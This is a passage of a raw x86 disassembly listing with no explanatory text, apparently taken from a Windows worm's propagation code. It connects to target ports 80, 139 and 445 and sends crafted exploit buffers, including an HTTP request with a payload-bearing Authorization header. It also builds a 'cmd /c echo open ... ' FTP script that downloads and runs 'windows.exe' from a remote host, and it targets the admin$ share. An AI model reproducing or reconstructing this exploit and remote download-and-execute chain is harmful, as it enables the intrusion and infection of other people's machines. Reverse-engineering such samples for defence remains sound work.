call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *)
push [ebp+var_C]
mov eax, [ebp+var_10]
push eax
lea ecx, [ebp+var_8]
call sub_40E8B5
lea ecx, [ebp+var_8]
call sub_40E7B9
lea ecx, [ebp+var_10]
call sub_40E7A0
push offset dword_4331D0 ; Str
lea ecx, [ebp+var_10]
call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *)
push [ebp+var_4]
mov eax, [ebp+var_8]
push eax
lea ecx, [ebp+var_10]
call sub_40E8B5
lea ecx, [ebp+var_10]
call sub_40E7B9
lea ecx, [ebp+var_8]
call sub_40E7A0
push offset dword_4331C4 ; Str
lea ecx, [ebp+var_8]
call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *)
push [ebp+var_C]
mov eax, [ebp+var_10]
push eax
lea ecx, [ebp+var_8]
call sub_40E8B5
lea ecx, [ebp+var_8]
call sub_40E7B9
lea ecx, [ebp+var_10]
call sub_40E7A0
push offset asc_4331C0 ; "`"
lea ecx, [ebp+var_40]
call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *)
push [ebp+var_4]
mov eax, [ebp+var_8]
push eax
lea ecx, [ebp+var_40]
call sub_40E8B5
lea ecx, [ebp+var_8]
call sub_40E7A0
mov ecx, [ebp+var_40]
mov eax, [ebp+arg_0]
mov [eax], ecx
mov ecx, [ebp+var_3C]
pop edi
jmp short loc_40ECC6
; ---------------------------------------------------------------------------
loc_40ECC1: ; CODE XREF: sub_40E971+1Fj
; sub_40E971+2Dj
mov eax, [ebp+arg_0]
mov [eax], edx
loc_40ECC6: ; CODE XREF: sub_40E971+34Ej
pop esi
mov [eax+4], ecx
pop ebx
leave
retn
sub_40E971 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ECCD proc near ; CODE XREF: sub_40ED91+A1p
; sub_40ED91+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
push edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
push eax
push 0
lea eax, [ebp+var_10C]
push eax
xor edi, edi
lea eax, [esi+1]
inc edi
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call ds:dword_42B21C ; select
cmp eax, edi
jnz short loc_40ED34
lea eax, [ebp+var_10C]
push eax
push esi
call sub_4298D6 ; __WSAFDIsSet
test eax, eax
jnz short loc_40ED38
loc_40ED34: ; CODE XREF: sub_40ECCD+54j
xor eax, eax
jmp short loc_40ED48
; ---------------------------------------------------------------------------
loc_40ED38: ; CODE XREF: sub_40ECCD+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_444064 ; recv
loc_40ED48: ; CODE XREF: sub_40ECCD+69j
pop edi
pop esi
leave
retn
sub_40ECCD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ED4C proc near ; CODE XREF: sub_40ED91+81p
; sub_40ED91+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_444234 ; htonl
push 0
mov [ebp+var_4], eax
push 4
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call dword_4441A0 ; send
cmp eax, 4
jz short loc_40ED76
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40ED76: ; CODE XREF: sub_40ED4C+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4441A0 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40ED4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40ED91(int,void *Src,size_t Size)
sub_40ED91 proc near ; CODE XREF: sub_40EE6B+48p
; .text:0040F828p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
Src = dword ptr 0Ch
Size = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+Size]
lea ebx, [edi+41h]
push ebx ; Size
mov [ebp+var_4], ebx
call _malloc
mov esi, eax
test esi, esi
pop ecx
jnz short loc_40EDBA
xor al, al
jmp loc_40EE66
; ---------------------------------------------------------------------------
loc_40EDBA: ; CODE XREF: sub_40ED91+20j
push ebx ; Size
push 0 ; Val
push esi ; Dst
call _memset
push 2Fh ; Size
push offset dword_43F7E4 ; Src
push esi ; Dst
call _memcpy
push 8 ; Size
lea eax, [esi+31h]
push offset dword_43F7D8 ; Src
push eax ; Dst
mov [esi+2Fh], di
call _memcpy
push edi ; Size
push [ebp+Src] ; Src
lea ebx, [esi+3Bh]
push ebx ; Dst
mov [esi+39h], di
call _memcpy
push 6 ; Size
push offset dword_4D50CC ; Src
add ebx, edi
push ebx ; Dst
call _memcpy
mov ebx, [ebp+arg_0]
push 85h
push offset dword_43F750
push ebx
call sub_40ED4C
add esp, 48h
test al, al
jnz short loc_40EE22
loc_40EE1E: ; CODE XREF: sub_40ED91+B5j
xor bl, bl
jmp short loc_40EE5D
; ---------------------------------------------------------------------------
loc_40EE22: ; CODE XREF: sub_40ED91+8Bj
push 0
mov edi, 100h
push edi
lea eax, [ebp+var_104]
push eax
push ebx
call sub_40ECCD
push [ebp+var_4]
push esi
push ebx
call sub_40ED4C
add esp, 1Ch
test al, al
jz short loc_40EE1E
push 0
push edi
lea eax, [ebp+var_104]
push eax
push ebx
call sub_40ECCD
add esp, 10h
mov bl, 1
loc_40EE5D: ; CODE XREF: sub_40ED91+8Fj
push esi ; Memory
call _free
pop ecx
mov al, bl
loc_40EE66: ; CODE XREF: sub_40ED91+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40ED91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40EE6B(int,void *Src,size_t Size)
sub_40EE6B proc near ; CODE XREF: .text:0040F80Ep
var_20 = byte ptr -20h
arg_0 = dword ptr 8
Src = dword ptr 0Ch
Size = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_43F818
push [ebp+arg_0]
call ds:dword_42B210 ; send
cmp eax, 48h
jnz short loc_40EEA6
push 0
push 20h
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_40ECCD
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40EEA6
cmp [ebp+var_20], 82h
jz short loc_40EEAA
loc_40EEA6: ; CODE XREF: sub_40EE6B+1Bj
; sub_40EE6B+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40EEAA: ; CODE XREF: sub_40EE6B+39j
push [ebp+Size] ; Size
push [ebp+Src] ; Src
push [ebp+arg_0] ; int
call sub_40ED91
add esp, 0Ch
leave
retn
sub_40EE6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EEBD proc near ; CODE XREF: sub_40F47A+29p
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
shl eax, 3
test eax, eax
mov [ebp+arg_0], eax
fild [ebp+arg_0]
jge short loc_40EED8
fadd ds:dbl_433200
loc_40EED8: ; CODE XREF: sub_40EEBD+13j
fmul ds:dbl_4331F8
call __ftol2
test eax, eax
mov [ebp+arg_0], eax
fild [ebp+arg_0]
jge short loc_40EEF3
fadd ds:dbl_433200
loc_40EEF3: ; CODE XREF: sub_40EEBD+2Ej
fst [ebp+var_8]
push ecx
fmul ds:dbl_4331F0
push ecx ; double
fstp [esp+10h+var_10]
call _floor
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call __ftol2
inc eax
leave
retn
sub_40EEBD endp
; [00000034 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Inside(char const *). PRESS KEYPAD "+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Eos(uint). PRESS KEYPAD "+" TO EXPAND]
; [00000049 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint). PRESS KEYPAD "+" TO EXPAND]
; [0000006C BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A07A
loc_40F01A: ; CODE XREF: sub_42A060+3j
; sub_42A072+3j ...
push 0 ; Size
push 1 ; char
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@IAEX_NI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint)
retn
; END OF FUNCTION CHUNK FOR sub_42A07A
; [000000D3 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Copy(uint,uint). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_40F0F7 proc near ; DATA XREF: .rdata:stru_43A768o
mov ecx, [ebp-18h]
xor esi, esi
push esi ; Size
push 1 ; char
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@IAEX_NI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint)
push esi
push esi
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
sub_40F0F7 endp ; sp-analysis failed
; [0000005E BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool). PRESS KEYPAD "+" TO EXPAND]
; [00000095 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint). PRESS KEYPAD "+" TO EXPAND]
; [00000060 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char). PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::reserve(uint). PRESS KEYPAD "+" TO EXPAND]
; [00000090 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(char const *,uint). PRESS KEYPAD "+" TO EXPAND]
; [0000008F BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint). PRESS KEYPAD "+" TO EXPAND]
; [0000006F BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint). PRESS KEYPAD "+" TO EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>> const &). PRESS KEYPAD "+" TO EXPAND]
; [0000001D BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *). PRESS KEYPAD "+" TO EXPAND]
; [0000001D BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40F47A(int,int,int,char *Src)
sub_40F47A proc near ; CODE XREF: sub_40F5F6+23p
var_4C = qword ptr -4Ch
var_38 = dword ptr -38h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Src = dword ptr 14h
mov eax, offset loc_42A068
call __EH_prolog
sub esp, 2Ch
push edi
xor edi, edi
push edi
lea ecx, [ebp+var_38]
mov [ebp+var_1C], edi
mov [ebp+var_20], 0Fh
call ?_Eos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@IAEXI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Eos(uint)
push [ebp+arg_8]
mov [ebp+var_4], edi
call sub_40EEBD
pop ecx
push eax
lea ecx, [ebp+var_38]
call ?reserve@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEXI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::reserve(uint)
cmp [ebp+arg_8], edi
mov [ebp+var_18], edi
jbe loc_40F5CF
push ebx
mov ebx, [ebp+arg_8]
push esi
loc_40F4C3: ; CODE XREF: sub_40F47A+14Dj
cmp [ebp+arg_8], 3
jb short loc_40F4CE
push 3
loc_40F4CB: ; CODE XREF: sub_40F47A+5Cj
pop ebx
jmp short loc_40F4E1
; ---------------------------------------------------------------------------
loc_40F4CE: ; CODE XREF: sub_40F47A+4Dj
cmp [ebp+arg_8], 2
jnz short loc_40F4D8
push 2
jmp short loc_40F4CB
; ---------------------------------------------------------------------------
loc_40F4D8: ; CODE XREF: sub_40F47A+58j
cmp [ebp+arg_8], 1
jnz short loc_40F4E1
xor ebx, ebx
inc ebx
loc_40F4E1: ; CODE XREF: sub_40F47A+52j
; sub_40F47A+62j
test ebx, ebx
mov [ebp+var_1C], ebx
fild [ebp+var_1C]
jge short loc_40F4F1
fadd ds:dbl_433200
loc_40F4F1: ; CODE XREF: sub_40F47A+6Fj
fmul ds:dbl_433208
push ecx
push ecx ; double
fstp [esp+4Ch+var_4C]
call _ceil
pop ecx
pop ecx
call __ftol2
cmp ebx, edi
mov [ebp+var_1C], eax
jbe short loc_40F527
mov esi, [ebp+arg_4]
mov ecx, ebx
mov edx, ecx
shr ecx, 2
lea edi, [ebp+var_10]
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40F527: ; CODE XREF: sub_40F47A+93j
mov cl, [ebp+var_10]
mov dl, [ebp+var_10]
sar cl, 2
and cl, 3Fh
add [ebp+arg_4], ebx
sub [ebp+arg_8], ebx
mov [ebp+var_14], cl
mov cl, [ebp+var_F]
sar cl, 4
and cl, 0Fh
and dl, 3
shl dl, 4
add cl, dl
mov dl, [ebp+var_F]
mov [ebp+var_13], cl
mov cl, [ebp+var_E]
sar cl, 6
and cl, 3
and dl, 0Fh
shl dl, 2
add cl, dl
mov [ebp+var_12], cl
mov cl, [ebp+var_E]
and cl, 3Fh
xor esi, esi
cmp eax, edi
mov [ebp+var_11], cl
jbe short loc_40F596
add [ebp+var_18], eax
loc_40F579: ; CODE XREF: sub_40F47A+11Aj
movsx eax, [ebp+esi+var_14]
movsx eax, byte_43F868[eax]
push eax ; int
push 1 ; Size
lea ecx, [ebp+var_38]
call ?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)
inc esi
cmp esi, [ebp+var_1C]
jb short loc_40F579
loc_40F596: ; CODE XREF: sub_40F47A+FAj
cmp [ebp+var_18], 48h
jb short loc_40F5AA
push [ebp+Src] ; Src
lea ecx, [ebp+var_38] ; int
call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBD@Z_0 ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *)
mov [ebp+var_18], edi
loc_40F5AA: ; CODE XREF: sub_40F47A+120j
push 4
pop esi
cmp [ebp+var_1C], esi
jnb short loc_40F5C4
sub esi, [ebp+var_1C]
loc_40F5B5: ; CODE XREF: sub_40F47A+148j
push 3Dh ; int
push 1 ; Size
lea ecx, [ebp+var_38]
call ?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)
dec esi
jnz short loc_40F5B5
loc_40F5C4: ; CODE XREF: sub_40F47A+136j
cmp [ebp+arg_8], edi
ja loc_40F4C3
pop esi
pop ebx
loc_40F5CF: ; CODE XREF: sub_40F47A+3Ej
mov ecx, [ebp+arg_0]
lea eax, [ebp+var_38]
push eax
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>> const &)
push edi ; Size
push 1 ; char
lea ecx, [ebp+var_38]
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@IAEX_NI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint)
mov ecx, [ebp+var_C]
mov eax, [ebp+arg_0]
pop edi
mov large fs:0, ecx
leave
retn
sub_40F47A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F5F6 proc near ; CODE XREF: .text:0040F7F1p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
arg_10 = dword ptr 18h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
mov eax, offset sub_42A082
call __EH_prolog
sub esp, 1Ch
push ebx
push esi
push edi
and [ebp+var_4], 0
push offset byte_42B633 ; Src
push [ebp+arg_8] ; int
lea eax, [ebp+var_28]
push [ebp+arg_4] ; int
push eax ; int
call sub_40F47A
mov eax, [ebp+arg_20]
mov ecx, [ebp+var_14]
lea esi, [ecx+eax+36h]
push esi ; Size
mov byte ptr [ebp+var_4], 1
call _malloc
mov edi, eax
add esp, 14h
test edi, edi
jnz short loc_40F63F
xor bl, bl
jmp short loc_40F686
; ---------------------------------------------------------------------------
loc_40F63F: ; CODE XREF: sub_40F5F6+43j
cmp [ebp+var_10], 10h
mov ecx, [ebp+var_24]
jnb short loc_40F64B
lea ecx, [ebp+var_24]
loc_40F64B: ; CODE XREF: sub_40F5F6+50j
cmp [ebp+arg_24], 10h
mov eax, [ebp+arg_10]
jnb short loc_40F657
lea eax, [ebp+arg_10]
loc_40F657: ; CODE XREF: sub_40F5F6+5Cj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi ; Count
push edi ; Dest
call __snprintf
add esp, 14h
push 0
push esi
push edi
push [ebp+arg_0]
call dword_4441A0 ; send
cmp eax, esi
jz short loc_40F67D
xor bl, bl
jmp short loc_40F67F
; ---------------------------------------------------------------------------
loc_40F67D: ; CODE XREF: sub_40F5F6+81j
mov bl, 1
loc_40F67F: ; CODE XREF: sub_40F5F6+85j
push edi ; Memory
call _free
pop ecx
loc_40F686: ; CODE XREF: sub_40F5F6+47j
push 0 ; Size
push 1 ; char
lea ecx, [ebp+var_28]
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@IAEX_NI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint)
push 0 ; Size
push 1 ; char
lea ecx, [ebp+arg_C]
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@IAEX_NI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint)
mov ecx, [ebp+var_C]
pop edi
pop esi
mov al, bl
pop ebx
mov large fs:0, ecx
leave
retn
sub_40F5F6 endp
; [00000022 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
push edi
xor eax, eax
mov byte ptr [ebp-420h], 0
mov ecx, 0FFh
lea edi, [ebp-41Fh]
rep stosd
stosw
push 8Fh
stosb
lea eax, [ebp-420h]
push offset dword_43FA18
push eax
call _memcpy
add esp, 0Ch
mov eax, offset aWindows_exe ; "windows.exe"
push eax
push eax
movzx eax, word ptr dword_4D1FE4
push eax
push dword ptr [ebp+8]
call sub_4023C9
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call __snprintf
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset aSvwfbA ; "SVWfì€"
push eax
call sub_40E971
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40F76F
xor eax, eax
jmp loc_40F875
; ---------------------------------------------------------------------------
loc_40F76F: ; CODE XREF: .text:0040F766j
mov [ebp-0Ch], esi
loc_40F772: ; CODE XREF: .text:0040F850j
test esi, esi
jnz loc_40F856
push 6
push 1
push 2
call ds:dword_42B20C ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40F83E
push dword ptr [ebp+0A8h]
xor eax, eax
lea edi, [ebp-1Ah]
stosd
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_444260 ; htons
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_44417C ; inet_addr
mov [ebp-18h], eax
push 10h
lea eax, [ebp-1Ch]
push eax
push ebx
call dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40F833
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40F7FB
sub esp, 1Ch
lea eax, [ebp+0Ch]
mov ecx, esp
mov [ebp-20h], esp
push eax
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *)
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40F5F6
add esp, 28h
jmp short loc_40F830
; ---------------------------------------------------------------------------
loc_40F7FB: ; CODE XREF: .text:0040F7D7j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40F815
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40EE6B
jmp short loc_40F82D
; ---------------------------------------------------------------------------
loc_40F815: ; CODE XREF: .text:0040F805j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40F833
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40ED91
loc_40F82D: ; CODE XREF: .text:0040F813j
add esp, 0Ch
loc_40F830: ; CODE XREF: .text:0040F7F9j
movzx esi, al
loc_40F833: ; CODE XREF: .text:0040F7CEj
; .text:0040F81Fj
push ebx
call dword_444218 ; closesocket
test esi, esi
jnz short loc_40F849
loc_40F83E: ; CODE XREF: .text:0040F78Bj
push 3E8h
call ds:dword_42B014 ; Sleep
loc_40F849: ; CODE XREF: .text:0040F83Cj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40F772
loc_40F856: ; CODE XREF: .text:0040F774j
lea ecx, [ebp-8]
call sub_40E7A0
test esi, esi
jz short loc_40F873
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D880[eax]
inc dword ptr [eax]
loc_40F873: ; CODE XREF: .text:0040F860j
mov eax, esi
loc_40F875: ; CODE XREF: .text:0040F76Aj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40F87A(char *Source)
sub_40F87A proc near ; CODE XREF: .text:0040FC33p
Dst = byte ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
Source = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24h
push esi
push edi
xor edi, edi
push 20h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
mov [ebp+var_4], edi
call _memset
push offset asc_4332C0 ; "\\\\"
mov esi, offset byte_4D50D8
push esi ; Dest
call _strcpy
push [ebp+Source] ; Source
push esi ; Dest
call _strcat
push offset asc_4332BC ; "\\"
push esi ; Dest
call _strcat
push offset aAdmin ; "admin$"
push esi ; Dest
call _strcat
add esp, 2Ch
push edi
push edi
push edi
lea eax, [ebp+Dst]
push eax
mov [ebp+var_10], esi
mov [ebp+var_20], 1
mov [ebp+var_14], edi
mov [ebp+var_8], edi
call dword_4441AC
push MaxCount ; MaxCount
push [ebp+Source] ; Source
push dword_4D51D8 ; Dest
call _mbstowcs
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
push 66h
push dword_4D51D8
call dword_4440DC
test eax, eax
mov esi, offset dword_4D51E0
jnz short loc_40F929
mov eax, [ebp+var_4]
push edi
push edi
push 64h
push esi
push 0FFFFFFFFh
push dword ptr [eax+4]
push edi
push edi
call ds:dword_42B090 ; WideCharToMultiByte
loc_40F929: ; CODE XREF: sub_40F87A+98j
cmp [ebp+var_4], edi
jz short loc_40F937
push [ebp+var_4]
call dword_444140
loc_40F937: ; CODE XREF: sub_40F87A+B2j
pop edi
mov eax, esi
pop esi
leave
retn
sub_40F87A endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40F93D(char *Str,int)
sub_40F93D proc near ; CODE XREF: sub_40F9CE+39p
; sub_40F9CE+79p
Str = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+Str]
push edi
push esi ; Str
xor edi, edi
call _strlen
test eax, eax
pop ecx
jbe short loc_40F99E
lea edx, [esi+1]
lea esi, [eax-1]
shr esi, 1
inc esi
loc_40F959: ; CODE XREF: sub_40F93D+5Fj
mov al, [edx-1]
cmp al, 30h
jl short loc_40F96C
cmp al, 39h
jg short loc_40F96C
movsx eax, al
sub eax, 30h
jmp short loc_40F972
; ---------------------------------------------------------------------------
loc_40F96C: ; CODE XREF: sub_40F93D+21j
; sub_40F93D+25j
movsx eax, al
sub eax, 57h
loc_40F972: ; CODE XREF: sub_40F93D+2Dj
mov cl, [edx]
shl eax, 4
cmp cl, 30h
jl short loc_40F98A
cmp cl, 39h
jg short loc_40F98A
movsx ecx, cl
lea eax, [eax+ecx-30h]
jmp short loc_40F991
; ---------------------------------------------------------------------------
loc_40F98A: ; CODE XREF: sub_40F93D+3Dj
; sub_40F93D+42j
movsx ecx, cl
lea eax, [eax+ecx-57h]
loc_40F991: ; CODE XREF: sub_40F93D+4Bj
mov ecx, [esp+8+arg_4]
mov [edi+ecx], al
inc edi
inc edx
inc edx
dec esi
jnz short loc_40F959
loc_40F99E: ; CODE XREF: sub_40F93D+11j
mov eax, edi
pop edi
pop esi
retn
sub_40F93D endp
; =============== S U B R O U T I N E =======================================
sub_40F9A3 proc near ; CODE XREF: sub_40F9CE+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov edx, eax
xor esi, esi
shr edx, 1
jz short loc_40F9CC
push ebx
push edi
mov edi, [esp+0Ch+arg_0]
lea eax, [edi+eax-1]
loc_40F9BA: ; CODE XREF: sub_40F9A3+25j
mov bl, [esi+edi]
mov cl, [eax]
mov [eax], bl
mov [esi+edi], cl
inc esi
dec eax
cmp esi, edx
jb short loc_40F9BA
pop edi
pop ebx
loc_40F9CC: ; CODE XREF: sub_40F9A3+Bj
pop esi
retn
sub_40F9A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40F9CE(char *Str,int)
sub_40F9CE proc near ; CODE XREF: sub_40FA56+69p
; sub_40FA56+89p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, [ebp+Str]
push esi
push edi
xor esi, esi
push ebx ; Str
mov [ebp+var_4], esi
mov [ebp+var_8], esi
mov edi, ebx
call _strlen
mov [ebp+Str], esi
cmp eax, esi
mov esi, [ebp+arg_4]
pop ecx
mov [ebp+var_C], eax
jbe short loc_40FA41
loc_40F9F8: ; CODE XREF: sub_40F9CE+71j
mov eax, [ebp+Str]
add eax, ebx
cmp byte ptr [eax], 2Dh
jnz short loc_40FA36
push esi ; int
push edi ; Str
mov byte ptr [eax], 0
call sub_40F93D
